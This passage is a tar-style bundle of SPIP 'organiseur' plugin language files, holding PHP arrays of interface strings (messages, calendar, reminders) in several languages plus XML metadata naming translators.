'notification_message_lire_a_ladresse' => 'Вы можете прочитать сообщение и ответить автору по ссылке @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] Новое сообщение',
'notification_message_recu_de' => 'Вы получили новое сообщение от @nom@.',
// T
'texte_message_brouillon' => 'Сообщение сохранено в черновиках',
'titre_agenda_rv' => 'События',
'titre_boite_envoi' => 'Исходящие',
'titre_boite_reception' => 'Входящие'
);
?>
organiseur.xml 0000666 00000006147 15252255204 0007462 0 ustar 00 <traduction module="organiseur" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/organiseur/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=ar" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=de" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=en" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=es" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=fa" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=fr" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=fr_fem" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=it" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=nl" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=pt" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=ru" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/organiseur?lang_cible=sk" total="54" traduits="54" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-organiseur_fr.php 0000666 00000000633 15252255204 0011427 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/organiseur/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Outils de travail éditorial en groupe',
'organiseur_slogan' => 'Outils de travail éditorial en groupe'
);
?>
organiseur_en.php 0000666 00000005532 15252255204 0010130 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Save as a draft',
'bouton_envoyer_message' => 'Send',
'bouton_envoyer_message_maintenant' => 'Send now',
// C
'cal_jour_entier' => 'Day',
'cal_par_jour' => 'day',
'cal_par_mois' => 'month',
'cal_par_semaine' => 'week',
// E
'erreur_date' => 'This date is incorrect',
'erreur_date_avant_apres' => 'Specify an end date after the start date!',
'erreur_date_corrigee' => 'The date has been corrected',
'erreur_destinataire_invalide' => 'The recipient @dest@ is invalid',
'erreur_heure' => 'This time is incorrect',
'erreur_heure_corrigee' => 'The time has been corrected',
// I
'icone_ecrire_nouveau_message' => 'Send a new message',
'icone_ecrire_nouveau_pensebete' => 'Write a new reminder',
'icone_ecrire_nouvelle_annonce' => 'Send a new announcement',
'icone_effacer_message' => 'Delete this message',
'icone_modifier_annonce' => 'Edit this announcement',
'icone_modifier_pensebete' => 'Edit this reminder',
'icone_supprimer_message' => 'Delete this message',
'info_1_message_envoye' => '1 message sent',
'info_1_message_nonlu' => '1 new message',
'info_agenda_interne' => 'Internal agenda',
'info_message_a' => 'To',
'info_message_date' => 'Date',
'info_message_date_debut' => 'Start date',
'info_message_date_fin' => 'End date',
'info_message_de' => 'From',
'info_message_non_lu' => 'New message',
'info_message_objet' => 'Object',
'info_nb_messages_envoyes' => '@nb@ sent messages',
'info_nb_messages_nonlus' => '@nb@ new messages',
'info_selection_annonces' => 'Announcements',
'info_selection_messages' => 'Messages',
'info_selection_pensebetes' => 'Reminders',
'info_type_message_affich' => 'Announcement',
'info_type_message_normal' => 'Message',
'info_type_message_pb' => 'Reminder',
'info_type_message_rv' => 'Appointment',
// L
'label_destinataires' => 'To',
'label_texte' => 'Text',
'label_titre' => 'Subject',
'loading' => 'Loading...',
// M
'message' => 'Message',
'messages' => 'Messages',
// N
'notification_annonce_lire_a_ladresse' => 'You can read it at the following url @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] Global announcement',
'notification_message_lire_a_ladresse' => 'You can read it and reply at the following url @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] New message',
'notification_message_recu_de' => 'You have received a new message from @nom@.',
// T
'texte_message_brouillon' => 'This message is saved as a draft',
'titre_agenda_rv' => 'Appointment',
'titre_boite_envoi' => 'Outbox',
'titre_boite_reception' => 'Inbox'
);
?>
organiseur_ar.php 0000666 00000006437 15252255204 0010135 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'جفظ كمسودة',
'bouton_envoyer_message' => 'بعث',
'bouton_envoyer_message_maintenant' => 'إرسال الآن',
// C
'cal_jour_entier' => 'اليوم',
'cal_par_jour' => 'يوم',
'cal_par_mois' => 'شهر',
'cal_par_semaine' => 'أسبوع',
// E
'erreur_date' => 'هذا التاريخ غير صحيح',
'erreur_date_avant_apres' => 'يجب إدخال تاريخ نهاية لاحق لتاريخ البداية!',
'erreur_date_corrigee' => 'تم تصحيح التاريخ',
'erreur_destinataire_invalide' => 'المرسل اليه @dest@ غير صالح',
'erreur_heure' => 'هذا الوقت غير صحيح',
'erreur_heure_corrigee' => 'تم تصحيح الوقت',
// I
'icone_ecrire_nouveau_message' => 'بعث برسالة جديدة',
'icone_ecrire_nouveau_pensebete' => 'كتابة مذكرة جديدة',
'icone_ecrire_nouvelle_annonce' => 'كتابة إعلان جديد',
'icone_effacer_message' => 'حذف هذه الرسالة',
'icone_modifier_annonce' => 'تعديل هذا الإعلان',
'icone_modifier_pensebete' => 'تعديل هذه المذكرة',
'icone_supprimer_message' => 'إزالة هذه الرسالة',
'info_1_message_envoye' => 'رسالة واحدة بعثت',
'info_1_message_nonlu' => 'رسالة جديدة',
'info_agenda_interne' => 'المفكرة الداخلية',
'info_message_a' => 'الى',
'info_message_date' => 'التاريخ',
'info_message_date_debut' => 'تاريخ البداية',
'info_message_date_fin' => 'تاريخ النهاية',
'info_message_de' => 'من',
'info_message_non_lu' => 'رسالة جديدة',
'info_message_objet' => 'الموضوع',
'info_nb_messages_envoyes' => '@nb@ رسالة مبعوثة',
'info_nb_messages_nonlus' => '@nb@ رسالة جديدة',
'info_selection_annonces' => 'الاعلانات',
'info_selection_messages' => 'الرسائل',
'info_selection_pensebetes' => 'المذكرات',
'info_type_message_affich' => 'إعلان',
'info_type_message_normal' => 'رسالة',
'info_type_message_pb' => 'مذكرة',
'info_type_message_rv' => 'موعد',
// L
'label_destinataires' => 'الى',
'label_texte' => 'النص',
'label_titre' => 'الموضوع',
'loading' => 'تحميل...',
// M
'message' => 'رسالة',
'messages' => 'رسائل',
// N
'notification_annonce_lire_a_ladresse' => 'يمكن القراءة على العنوان التالي @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] إعلان عام',
'notification_message_lire_a_ladresse' => 'يمكنك القراءة والرد على العنوان التالي @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] رسالة جديدة',
'notification_message_recu_de' => 'جاءتك سالة جديدة من @nom@.',
// T
'texte_message_brouillon' => 'هذه الرسالة مسجلة كمسودة',
'titre_agenda_rv' => 'موعد',
'titre_boite_envoi' => 'صندوق الارسال',
'titre_boite_reception' => 'صندوق التلقي'
);
?>
paquet-organiseur_fr_fem.php 0000666 00000000706 15252255204 0012257 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Outils de travail éditorial en groupe',
'organiseur_slogan' => 'Outils de travail éditorial en groupe'
);
?>
organiseur_nl.php 0000666 00000005777 15252255204 0010152 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Ontwerp op te slaan',
'bouton_envoyer_message' => 'Opsturen',
'bouton_envoyer_message_maintenant' => 'Opsturen nu',
// C
'cal_jour_entier' => 'Hele dag',
'cal_par_jour' => 'dag',
'cal_par_mois' => 'maand',
'cal_par_semaine' => 'week',
// E
'erreur_date' => 'De datum is ongeldig',
'erreur_date_avant_apres' => 'Geef een einddatum na de begindatum aan !',
'erreur_date_corrigee' => 'De datum werd verbeterd',
'erreur_destinataire_invalide' => 'De ontvanger @dest@ is niet geldig',
'erreur_heure' => 'Uur is ongeldig',
'erreur_heure_corrigee' => 'Het uur werd verbeterd',
// I
'icone_ecrire_nouveau_message' => 'Een nieuwe boodschap opsturen',
'icone_ecrire_nouveau_pensebete' => 'Een herinneringsnota aanmaken',
'icone_ecrire_nouvelle_annonce' => 'Een nieuwe aankondiging aanmaken',
'icone_effacer_message' => 'Deze boodschap uitwissen',
'icone_modifier_annonce' => 'Deze aankondiging veranderen',
'icone_modifier_pensebete' => 'De herinneringsnota veranderen',
'icone_supprimer_message' => 'Deze boodschap uitwissen',
'info_1_message_envoye' => '1 boodschap opgestuurd',
'info_1_message_nonlu' => '1 nieuwe boodschap',
'info_agenda_interne' => 'Interne agenda',
'info_message_a' => 'Naar',
'info_message_date' => 'Datum',
'info_message_date_debut' => 'Begindatum',
'info_message_date_fin' => 'Eindtum',
'info_message_de' => 'Van',
'info_message_non_lu' => 'Nieuwe boodschap',
'info_message_objet' => 'Onderwerp',
'info_nb_messages_envoyes' => '@nb@ boodschapppen opgestuurd',
'info_nb_messages_nonlus' => '@nb@ nieuwe boodschappen',
'info_selection_annonces' => 'Aankondigingen',
'info_selection_messages' => 'Boodschappen',
'info_selection_pensebetes' => 'Herinneringsnotas',
'info_type_message_affich' => 'Aankondiging',
'info_type_message_normal' => 'Boodschap',
'info_type_message_pb' => 'Herinneringsnota',
'info_type_message_rv' => 'Afspraak',
// L
'label_destinataires' => 'Naar',
'label_texte' => 'Tekst',
'label_titre' => 'Onderwerp',
'loading' => 'Aan het laden...',
// M
'message' => 'Boodschap',
'messages' => 'Boodschappen',
// N
'notification_annonce_lire_a_ladresse' => 'Je kan ze lezen op volgende address: @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] Algemene aankondiging',
'notification_message_lire_a_ladresse' => 'Je kan het boodschap lezen en beantwoorden op het address: @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] Nieuwe boodschap',
'notification_message_recu_de' => 'Je hebt een nieuwe boodschap gekregen vanuit @nom@.',
// T
'texte_message_brouillon' => 'Deze boodschapsontwerp werd opgeslagen.',
'titre_agenda_rv' => 'Afspraak',
'titre_boite_envoi' => 'Outbox',
'titre_boite_reception' => 'INBOX'
);
?>
organiseur_sk.php 0000666 00000005753 15252255204 0010150 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Uložiť koncept',
'bouton_envoyer_message' => 'Poslať',
'bouton_envoyer_message_maintenant' => 'Poslať teraz',
// C
'cal_jour_entier' => 'Deň',
'cal_par_jour' => 'Deň',
'cal_par_mois' => 'Mesiac',
'cal_par_semaine' => 'Týždeň',
// E
'erreur_date' => 'Tento dátum nie je správny',
'erreur_date_avant_apres' => 'Zadajte dátum ukončenia, ktorý bude nasledovať po dátume začiatku!',
'erreur_date_corrigee' => 'Dátum bol opravený',
'erreur_destinataire_invalide' => 'Príjemca @dest@ nie je platný',
'erreur_heure' => 'Tento čas nie je správny',
'erreur_heure_corrigee' => 'Čas bol opravený',
// I
'icone_ecrire_nouveau_message' => 'Poslať novú správu',
'icone_ecrire_nouveau_pensebete' => 'Napísať novú pripomienku',
'icone_ecrire_nouvelle_annonce' => 'Poslať nový oznam',
'icone_effacer_message' => 'Vymazať túto správu',
'icone_modifier_annonce' => 'Upraviť tento oznam',
'icone_modifier_pensebete' => 'Upraviť túto pripomienku',
'icone_supprimer_message' => 'Odstrániť túto správu',
'info_1_message_envoye' => '1 odoslaná správa',
'info_1_message_nonlu' => '1 nová správa',
'info_agenda_interne' => 'Interný kalendár',
'info_message_a' => 'Príjemcovia',
'info_message_date' => 'Dátum',
'info_message_date_debut' => 'Dátum začiatku',
'info_message_date_fin' => 'Dátum ukončenia',
'info_message_de' => 'Odosielateľ',
'info_message_non_lu' => 'Nová správa',
'info_message_objet' => 'Objekt',
'info_nb_messages_envoyes' => '@nb@ odoslaných správ',
'info_nb_messages_nonlus' => '@nb@ nových správ',
'info_selection_annonces' => 'Oznamy',
'info_selection_messages' => 'Správy',
'info_selection_pensebetes' => 'Pripomienky',
'info_type_message_affich' => 'Oznam',
'info_type_message_normal' => 'Správa',
'info_type_message_pb' => 'Pripomienka',
'info_type_message_rv' => 'Stretnutie',
// L
'label_destinataires' => 'Príjemcovia',
'label_texte' => 'Text',
'label_titre' => 'Predmet',
'loading' => 'Spúšťa sa...',
// M
'message' => 'Správa',
'messages' => 'Správy',
// N
'notification_annonce_lire_a_ladresse' => 'To si môžete prečítať na adrese @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] Všeobecný oznam',
'notification_message_lire_a_ladresse' => 'Môžete si to prečítať a odpovedať na to na adrese @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] Nová správa',
'notification_message_recu_de' => '@nom@ vám poslal(a) novú správu.',
// T
'texte_message_brouillon' => 'Táto správa je uložená ako koncept',
'titre_agenda_rv' => 'Stretnutia',
'titre_boite_envoi' => 'Na odoslanie',
'titre_boite_reception' => 'Doručená pošta'
);
?>
organiseur_es.php 0000666 00000005646 15252255204 0010143 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Guardar en borrador',
'bouton_envoyer_message' => 'Enviar',
'bouton_envoyer_message_maintenant' => 'Enviar ahora',
// C
'cal_jour_entier' => 'Jornada',
'cal_par_jour' => 'día',
'cal_par_mois' => 'mes',
'cal_par_semaine' => 'semana',
// E
'erreur_date' => 'Esta fecha es incorrecta',
'erreur_date_avant_apres' => '¡Ingresa una fecha de fin ulterior a la fecha de inicio!',
'erreur_date_corrigee' => 'La fecha fue corregida',
'erreur_destinataire_invalide' => 'El destinatario @dest@ no es válido',
'erreur_heure' => 'Esta hora es incorrecta',
'erreur_heure_corrigee' => 'La hora fue corregida',
// I
'icone_ecrire_nouveau_message' => 'Enviar un nuevo mensaje',
'icone_ecrire_nouveau_pensebete' => 'Escribir una nueva nota',
'icone_ecrire_nouvelle_annonce' => 'Enviar un nuevo anuncio',
'icone_effacer_message' => 'Borrar este mensaje',
'icone_modifier_annonce' => 'Modificar este anuncio',
'icone_modifier_pensebete' => 'Modificar esta nota',
'icone_supprimer_message' => 'Suprimir este mensaje',
'info_1_message_envoye' => '1 mensaje enviado',
'info_1_message_nonlu' => '1 nuevo mensaje',
'info_agenda_interne' => 'Agenda interna',
'info_message_a' => 'A',
'info_message_date' => 'Fecha',
'info_message_date_debut' => 'Fecha de inicio',
'info_message_date_fin' => 'Fecha fin',
'info_message_de' => 'De',
'info_message_non_lu' => 'Nuevo mensaje',
'info_message_objet' => 'Asunto',
'info_nb_messages_envoyes' => '@nb@ mensajes enviados',
'info_nb_messages_nonlus' => '@nb@ nuevos mensajes',
'info_selection_annonces' => 'Anuncios',
'info_selection_messages' => 'Mensajes',
'info_selection_pensebetes' => 'Notas',
'info_type_message_affich' => 'Anuncio',
'info_type_message_normal' => 'Mensaje',
'info_type_message_pb' => 'Nota',
'info_type_message_rv' => 'Cita',
// L
'label_destinataires' => 'A',
'label_texte' => 'Texto',
'label_titre' => 'Asunto',
'loading' => 'Cargando…',
// M
'message' => 'Mensaje',
'messages' => 'Mensajes',
// N
'notification_annonce_lire_a_ladresse' => 'La puedes leer en esta dirección: @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] Anuncio general',
'notification_message_lire_a_ladresse' => 'Lo puedes leer y responder a éste en la siguiente dirección: @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] Nuevo mensaje',
'notification_message_recu_de' => 'Has recibido un nuevo mensaje de parte de @nom@.',
// T
'texte_message_brouillon' => 'Este mensaje está guardado como borrador',
'titre_agenda_rv' => 'Cita',
'titre_boite_envoi' => 'Casilla de envío',
'titre_boite_reception' => 'Casilla de mensajes'
);
?>
paquet-organiseur_ru.php 0000666 00000000746 15252255204 0011453 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Организация совместной работы',
'organiseur_slogan' => 'Организация совместной работы'
);
?>
paquet-organiseur_lb.php 0000666 00000000624 15252255204 0011415 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Gruppenaarbecht',
'organiseur_slogan' => 'Gruppenaarbecht'
);
?>
paquet-organiseur_fa.php 0000666 00000000716 15252255204 0011410 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'ابزارهاي گروه سردبيري',
'organiseur_slogan' => 'ابزارهاي كار گروه سردبيري '
);
?>
organiseur_pt.php 0000666 00000005573 15252255204 0010156 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Guardar como rascunho',
'bouton_envoyer_message' => 'Enviar',
'bouton_envoyer_message_maintenant' => 'Enviar agora',
// C
'cal_jour_entier' => 'Dia',
'cal_par_jour' => 'dia',
'cal_par_mois' => 'mês',
'cal_par_semaine' => 'semana',
// E
'erreur_date' => 'Esta data está incorrecta',
'erreur_date_avant_apres' => 'Indique uma data de fim após a data de início!',
'erreur_date_corrigee' => 'A data foi corrigida',
'erreur_destinataire_invalide' => 'O destinatário @dest@ não é válido',
'erreur_heure' => 'Esta hora está incorrecta',
'erreur_heure_corrigee' => 'A hora foi corrigida',
// I
'icone_ecrire_nouveau_message' => 'Enviar uma nova mensagem',
'icone_ecrire_nouveau_pensebete' => 'Escrever uma nova nota',
'icone_ecrire_nouvelle_annonce' => 'Enviar um novo anúncio',
'icone_effacer_message' => 'Eliminar esta mensagem',
'icone_modifier_annonce' => 'Modificar este anúncio',
'icone_modifier_pensebete' => 'Modificar esta nota',
'icone_supprimer_message' => 'Eliminar esta mensagem',
'info_1_message_envoye' => '1 mensagem enviada',
'info_1_message_nonlu' => '1 nova mensagem',
'info_agenda_interne' => 'Agenda interna',
'info_message_a' => 'Para',
'info_message_date' => 'Data',
'info_message_date_debut' => 'Data de início',
'info_message_date_fin' => 'Data de fim',
'info_message_de' => 'De',
'info_message_non_lu' => 'Nova mensagem',
'info_message_objet' => 'Objecto',
'info_nb_messages_envoyes' => '@nb@ mensagens enviadas',
'info_nb_messages_nonlus' => '@nb@ novas mensagens',
'info_selection_annonces' => 'Anúncios',
'info_selection_messages' => 'Mensagens',
'info_selection_pensebetes' => 'Notas',
'info_type_message_affich' => 'Anúncio',
'info_type_message_normal' => 'Mensagem',
'info_type_message_pb' => 'Nota',
'info_type_message_rv' => 'Encontro',
// L
'label_destinataires' => 'Para',
'label_texte' => 'Texto',
'label_titre' => 'Tema',
'loading' => 'Carregando…',
// M
'message' => 'Mensagem',
'messages' => 'Mensagens',
// N
'notification_annonce_lire_a_ladresse' => 'Pode lê-lo no URL seguinte @url@.',
'notification_annonce_publie_1' => '[@nom_site_spip@] Anúncio geral',
'notification_message_lire_a_ladresse' => 'Pode lê-lo e responder no URL seguinte @url@.',
'notification_message_publie_1' => '[@nom_site_spip@] Nova mensagem',
'notification_message_recu_de' => 'Recebeu uma nova mensagem de @nom@.',
// T
'texte_message_brouillon' => 'Esta mensagem foi guardada como rascunho',
'titre_agenda_rv' => 'Encontro',
'titre_boite_envoi' => 'Enviadas',
'titre_boite_reception' => 'Recebidas'
);
?>
paquet-organiseur.xml 0000666 00000006662 15252255204 0010761 0 ustar 00 <traduction module="paquet-organiseur" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/organiseur/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=ar" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=de" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=en" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=es" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=fa" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=fr" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=fr_fem" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=it" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=lb" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=nl" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=pt" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=ru" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=sk" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-organiseur_de.php 0000666 00000000676 15252255204 0011417 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-organiseur?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// O
'organiseur_description' => 'Werkzeuge für eine Online-Redaktion',
'organiseur_slogan' => 'Werkzeuge für eine Online-Redaktion'
);
?>
organiseur_it.php 0000666 00000006014 15252255204 0010136 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/organiseur?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_enregistrer_brouillon' => 'Salva come una bozza',
'bouton_envoyer_message' => 'Messaggio completato: invio',
'bouton_envoyer_message_maintenant' => 'Invia adesso',
// C
'cal_jour_entier' => 'Giorno',
'cal_par_jour' => 'giorno',
'cal_par_mois' => 'mese',
'cal_par_semaine' => 'settimana',
// E
'erreur_date' => 'La data è sbagliata',
'erreur_date_avant_apres' => 'Per favore inserite una data di fine successiva alla data d’inizio.',
'erreur_date_corrigee' => 'La data è stata corretta',
'erreur_destinataire_invalide' => 'Il destinartario @dest@ non è valido',
'erreur_heure' => 'L’ora è sbagliata',
'erreur_heure_corrigee' => 'L’ora è stata corretta',
// I
'icone_ecrire_nouveau_message' => 'Invia un nuovo messaggio',
'icone_ecrire_nouveau_pensebete' => 'Scrivi un nuovo promemoria',
'icone_ecrire_nouvelle_annonce' => 'Invia un nuovo annuncio',
'icone_effacer_message' => 'Cancella questo messaggio',
'icone_modifier_annonce' => 'Modifica questo annuncio',
'icone_modifier_pensebete' => 'Modifica questo promemoria',
'icone_supprimer_message' => 'Cancella questo messaggio',
'info_1_message_envoye' => '1 messaggio inviato',
'info_1_message_nonlu' => '1 nuovo messaggio',
'info_agenda_interne' => 'Agenda interna',
'info_message_a' => 'A',
'info_message_date' => 'Data',
'info_message_date_debut' => 'Data iniziale',
'info_message_date_fin' => 'Data finale',
'info_message_de' => 'Da',
'info_message_non_lu' => 'Nuovo messaggio',
'info_message_objet' => 'Oggetto',
'info_nb_messages_envoyes' => '@nb@ messaggi inviati',
'info_nb_messages_nonlus' => '@nb@ nuovi messaggi',
'info_selection_annonces' => 'Annunci',
'info_selection_messages' => 'Messaggi',
